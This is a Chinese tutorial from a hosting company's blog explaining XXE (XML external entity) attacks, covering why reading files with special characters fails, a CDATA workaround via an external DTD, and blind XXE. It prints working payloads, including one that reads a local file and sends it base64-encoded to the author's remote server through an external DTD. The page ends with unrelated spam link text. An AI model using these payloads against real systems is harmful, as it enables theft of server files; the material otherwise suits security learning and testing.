温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
  • 忘记密码?
登录注册×
获取短信验证码
其他方式登录
点击 登录注册 即表示同意 《亿速云用户服务条款》
  • 服务器
  • 数据库
  • 开发技术
  • 网络安全
  • 互联网科技
登 录 注册有礼
最新更新 网站标签 地图导航
产品
  • 首页 > 
  • 教程 > 
  • 网络安全 > 
  • 网络管理 > 
  • 如何理解XXE漏洞

如何理解XXE漏洞

发布时间:2021-11-23 18:00:35 来源:亿速云 阅读:152 作者:柒染 栏目: 网络管理

这篇文章给大家介绍如何理解XXE漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

读取文件时有特殊符号

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C:\test.txt

内容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

如何理解XXE漏洞

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

<message>此文本也会被解析</message>

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器会把它分解为像这样的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是还是读不出来,如下图:

如何理解XXE漏洞直接放正确的payload,然后再讲解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]> 
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

如何理解XXE漏洞可以看到这个payload是可以成功读取文件的,对比两个payload

如何理解XXE漏洞

如何理解XXE漏洞

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们 服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

&#x25是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的 vps然后在日志文件中就能看到我们读取的文件了。

关于如何理解XXE漏洞就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节
推荐阅读:
  1. 微信支付SDK存在XXE漏洞
  2. xxe hacking

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xxe
  • 上一篇新闻:
    Python操作Excel制作可视化数据图怎么实现自动化办公
  • 下一篇新闻:
    c语言怎么实现含递归清场版扫雷游戏

猜你喜欢

  • Linux中crontab格式是什么
  • 海外大硬盘vps租用怎么测评
  • 海外大硬盘vps租用有哪些优势
  • vps动态域名怎么配置
  • 香港vps大容量租用贵吗
  • vps格式化指令是什么
  • vps多人同时用会怎么样
  • 高防免备案vps租用怎么加速
  • 高防免备案vps租用有哪些优势
  • copymemory函数报错怎么解决
最新资讯
  • Impala如何支持数据的实时流处理和窗口函数计算
  • 如何配置Impala以实现数据的加密和安全性保障
  • 如何使用Impala进行数据的复杂子查询和嵌套查询操作
  • 如何通过Impala查询结果的数据进行数据的时序分析和预测建模
  • Impala如何支持数据的分布式ETL操作和数据处理
  • 如何优化Impala的元数据缓存以提高查询性能
  • 如何使用Impala进行数据的分布式汇总和统计分析
  • 如何通过Impala查询结果的数据进行数据的分类和预测建模
  • 如何使用Impala进行数据的分布式计算和存储优化
  • 如何优化Impala的查询语句以减少数据倾斜问题
相关推荐
  • 怎么理解CVE安全漏洞
  • WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析
  • WebLogic CVE-2019-2647~2650 XXE漏洞分析
  • 如何利用XXE漏洞获取NetNTLM Hash并通过SMB Relay取得权限
  • 怎么理解关于PHP网站存在的XXE漏洞复现
  • XXE漏洞原理是什么
  • 如何进行WebLogic EJBTaglibDescriptor XXE漏洞分析
  • 如何发现Bol.com网站的XXE漏洞并成功利用
  • 怎样使用本地DTD文件来利用XXE漏洞实现任意结果输出
  • 如何分析在Jive-n中的一个XXE漏洞

相关标签

java 漏洞 weblogic 网络安全 cve-2019-2888 ejbtaglibdescriptor xxe dtd passwd vulnhub 微信 pychar v-html 类的定义 o365 快捷 jet 统计分组 命名空间 lastindexof
AI

深圳SEO优化公司白银网站搭建哪家好南通网络广告推广报价南京网站改版公司新余网络广告推广报价枣庄seo网站推广延边优秀网站设计多少钱鹤岗网站优化按天计费推荐嘉兴网站推广方案价格邢台关键词排名哪家好大芬网站建设设计推荐阿里网站推广方案公司汕尾SEO按天计费价格汕尾百度竞价公司黄南品牌网站设计价格宝鸡建网站多少钱南宁优秀网站设计推荐南充网站优化软件哪家好安顺百度爱采购价格诸城外贸网站制作哈尔滨百度爱采购多少钱滁州百度关键词包年推广东营模板网站建设哪家好商丘网站seo优化推荐萍乡网站排名优化多少钱岳阳企业网站改版哪家好毕节网站建设价格佛山百度竞价多少钱肇庆网站设计模板哪家好榆林营销型网站建设多少钱十堰网站优化推广哪家好歼20紧急升空逼退外机英媒称团队夜以继日筹划王妃复出草木蔓发 春山在望成都发生巨响 当地回应60岁老人炒菠菜未焯水致肾病恶化男子涉嫌走私被判11年却一天牢没坐劳斯莱斯右转逼停直行车网传落水者说“没让你救”系谣言广东通报13岁男孩性侵女童不予立案贵州小伙回应在美国卖三蹦子火了淀粉肠小王子日销售额涨超10倍有个姐真把千机伞做出来了近3万元金手镯仅含足金十克呼北高速交通事故已致14人死亡杨洋拄拐现身医院国产伟哥去年销售近13亿男子给前妻转账 现任妻子起诉要回新基金只募集到26元还是员工自购男孩疑遭霸凌 家长讨说法被踢出群充个话费竟沦为间接洗钱工具新的一天从800个哈欠开始单亲妈妈陷入热恋 14岁儿子报警#春分立蛋大挑战#中国投资客涌入日本东京买房两大学生合买彩票中奖一人不认账新加坡主帅:唯一目标击败中国队月嫂回应掌掴婴儿是在赶虫子19岁小伙救下5人后溺亡 多方发声清明节放假3天调休1天张家界的山上“长”满了韩国人?开封王婆为何火了主播靠辱骂母亲走红被批捕封号代拍被何赛飞拿着魔杖追着打阿根廷将发行1万与2万面值的纸币库克现身上海为江西彩礼“减负”的“试婚人”因自嘲式简历走红的教授更新简介殡仪馆花卉高于市场价3倍还重复用网友称在豆瓣酱里吃出老鼠头315晚会后胖东来又人满为患了网友建议重庆地铁不准乘客携带菜筐特朗普谈“凯特王妃P图照”罗斯否认插足凯特王妃婚姻青海通报栏杆断裂小学生跌落住进ICU恒大被罚41.75亿到底怎么缴湖南一县政协主席疑涉刑案被控制茶百道就改标签日期致歉王树国3次鞠躬告别西交大师生张立群任西安交通大学校长杨倩无缘巴黎奥运

深圳SEO优化公司 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化